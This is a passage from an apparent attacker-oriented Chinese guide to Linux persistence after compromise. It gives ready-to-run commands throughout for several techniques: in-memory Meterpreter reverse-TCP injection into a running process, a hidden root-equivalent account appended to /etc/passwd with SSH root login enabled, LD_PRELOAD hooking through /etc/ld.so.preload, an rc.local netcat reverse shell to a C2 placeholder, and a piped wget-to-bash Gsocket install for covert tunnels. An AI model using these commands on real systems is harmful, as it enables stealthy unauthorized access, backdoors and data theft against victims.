内存
内存后门是一种与持久化技术类似的技术,旨在不留下磁盘痕迹的情况下维持控制。它不是将有效载荷写入文件系统,而是直接将其注入到正在运行的进程的内存空间中。当隐蔽性比持久性更重要时,这种方法很有吸引力,因为大多数杀毒软件对内存的实时检查功能有限。即使是技术娴熟的用户,如果恶意植入程序驻留在合法且正在运行的进程中,也很难察觉。
在这个例子中,选择的有效载荷是 Meterpreter,这是一个众所周知的完全内存运行工具。典型的工作流程可能如下所示:
c2 > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9005 exitfunc=thread StagerRetryCount=999999 -f raw -o meter64.bin
这里msfvenom生成一个原始的 Meterpreter 反向 TCP 有效负载,配置为连接回我们指定主机和端口上的 C2。
exitfunc=thread 控制有效载荷在完成或遇到错误时如何清理。线程意味着它只会终止当前运行的线程,而不会终止宿主进程的其余部分。这对于向合法进程注入内存至关重要,因为它可以避免进程崩溃并引起怀疑。
StagerRetryCount=999999指示部署程序在连接失败时重试最多 999,999 次。如果没有此指令,断开的连接可能需要重新注入有效载荷。有了此指令,后门程序会无限期地尝试连接,直到我们准备好接收连接为止。
请pgrep 列出要将有效载荷注入到的进程。
target#> mv /root/meter64.bin /root/mmap64.bintarget#> inject_linux 1032 mmap64.bin
该inject_linux实用程序随后将二进制数据块注入到由 PID 标识的进程中,使该进程完全在内存中执行有效载荷。磁盘上不会创建新文件,也不会注册任何服务或计划任务。注意,您可能需要将有效载荷重命名为mmap64.bin.
优点:可在任何用户帐户下运行,极难被人察觉,并且避免在磁盘上留下传统的痕迹,例如启动项或可执行文件。
缺点:重启后无法保留。一旦系统重启或主机进程结束,植入程序就会消失。
方法严格意义上来说缺乏持久性,但只要目标系统保持开机状态,它就能提供一个高度隐蔽的立足点。在分层入侵策略中,内存植入程序可以与更传统的持久性机制相辅相成,它既能提供一个即时可用的隐蔽访问通道,又能提供更持久的后门。
配置
通过配置更改实现持久化与典型的后门或反向 shell 不同。它不运行恶意代码,而是操纵操作系统自身的设置,以确保我们之后能够重新获得访问权限。由于没有可执行的有效载荷,这种更改触发杀毒软件检测的可能性要小得多。然而,这种方法只有在您拥有对目标系统的直接访问权限以及修改核心配置文件的足够权限时才可行。
最常见的例子之一是创建隐藏用户帐户,以便将来进行远程登录。例如:
target# > openssl passwd -1 -salt test P@ssw0rd123target# > echo 'post:$1$test$dIndzcyu0SmwXz37byHei0:0:0::/:/bin/sh' >> /etc/passwd
第一个命令使用openssl passwd标志为所选密码-1生成基于 MD5 的哈希密码( test 指定自定义盐值,此处为“test”) 。输出是符合预期格式的字符串。-saltP@ssw0rd123/etc/passwd
第二条命令会/etc/passwd为名为 post 的用户添加一个新条目,该条目包含生成的密码哈希值、UID 0 和 GID 0(使其等同于 root 用户)、没有主目录,并且/bin/sh指定其 shell。这实际上创建了一个隐藏的超级用户帐户。
最后,请确保已修改该/etc/ssh/sshd_config 文件,以确保 root 用户(以及 UID 为 0 的 post 帐户)可以通过 SSH 登录PermitRootLogin yes。这样,只要目标系统可以通过网络访问,您就可以远程重新连接。
之后重启 SSH 服务
target# > service sshd restart
优点: 重启后依然有效,而且不需要运行任何恶意可执行文件。
缺点:需要管理员或 root 权限才能修改系统文件,如果机器位于 NAT 或阻止入站连接的限制性防火墙之后,则无效。
这种方法纯粹是操作系统层面的操作。它不会在内存中留下任何恶意进程,但其成功与否完全取决于你之后能否直接连接到目标主机。在定向入侵中,它通常会与其他持久化方法结合使用,以确保冗余性。
LD_PRELOAD
利用LD_PRELOAD实现持久化,可以利用 Linux 中一项合法的动态链接特性,将自定义代码注入到每个新启动的进程中。LD_PRELOAD环境变量指示动态链接器优先加载指定的共享库,从而允许我们的代码覆盖或钩住用户空间应用程序中的标准库函数。这种方法可用于执行任意逻辑,包括建立 shell 或记录凭据。
首先,我们创建一个meter.c 文件,该文件稍后将被编译成meter.so
然后使用以下命令编译有效载荷:
c2 > gcc -fPIC -shared -o meter.so meter.c
接下来,你需要将共享对象的路径写入到文件meter.so中/etc/ld.so.preload。动态链接器会全局读取此文件,这意味着无论哪个用户运行,所有动态链接的二进制文件都会加载指定的库。这需要 root 权限。
target#> echo /path/to/meter.so >> /etc/ld.so.preload
然后,您需要添加一条导出LD_PRELOAD=/path/to/meter.so语句/etc/profile,确保所有通过交互式 shell 登录的用户都会自动设置该环境变量。
target#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile
此命令的作用相同,但仅针对单个用户,方法是将导出命令附加到该用户的配置文件中。~/.bashrc
target$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc
优点:重启后仍然有效,可在任何用户帐户下运行,并且可以应用于系统范围或特定用户。它允许注入的代码在合法进程的上下文中运行,从而增加了检测难度。
缺点:执行间隔不受控制,因为代码仅在新进程启动时运行,因此重新连接时间不如计划任务或服务那样可预测。
rc.local
通过rc.local实现持久化依赖于 Linux 系统中一种传统的启动机制。如果/etc/rc.local脚本存在且可执行,它会在多用户启动序列结束时由 init 系统自动运行一次。通过向该文件中插入命令,我们可以确保我们的有效载荷在系统下次重启时自动执行。
target#> echo "nc C2_IP 8888 -e /bin/bash &" >> /etc/rc.local
这会将一个 netcat 命令附加到/etc/rc.local启动过程中。执行该命令后,它会连接到主机 8888 端口并启动一个进程/bin/bash,从而提供一个交互式反向 shell。& 符号表示&该命令在后台运行,因此不会阻塞启动过程的其余部分。
由于rc.local该函数仅在启动时执行一次,因此有效载荷不会持续尝试重新连接。它只会在每次重启后运行一次。如果此时连接失败(例如,监听器未准备就绪或网络连接中断),则在下次重启之前不会再尝试重新连接。
优点:重启后依然有效,而且易于实现。
缺点:需要 root 权限才能修改/etc/rc.local,执行间隔不受控制,每次启动只运行一次,重启之间没有重试机制。
虽然这种方法简单直接且隐蔽,但可靠性有限。在现代 Linux 发行版中,rc.local它通常默认禁用或被 systemd 服务文件取代,使其成为一种较为传统的技术。对于寻求长期自动化持久化的攻击者而言,它通常会与其他重试连接或持续运行的方法结合使用。
Gsocket
Gsocket 是一个云中继,双方都连接到它,将各自的出站连接合并成一个加密的双向隧道。从攻击者的角度来看,这简直是天赐良机:我们不需要受害者开放入站端口,无需处理 NAT 或端口转发,而且一个云代理就能成为多个目标的 C2 服务器。长时间运行的类似 TLS 的出站数据流会混入正常的出站流量中,因此这种连接看起来远比暴露的监听器更不可疑。
我们喜欢 Gsocket,因为它能大幅降低运维成本。由于所有流量都是出站的,因此需要维护的基础设施更少,而且在网络受限的情况下也能获得更高的成功率。
以下是在目标设备上的安装方法:
target# > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"target$ > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"
c2 > sudo apt install gsocketc2 > gs-netcat -s “secret key” -i
优点:一种隐蔽的方式,可以建立远程访问、转移攻击方向、窃取数据或维护后门,尤其是在复杂的网络环境中。
缺点:会留下痕迹,例如持久脚本或网络访问模式,并且依赖共享密钥,因此需要谨慎管理密钥。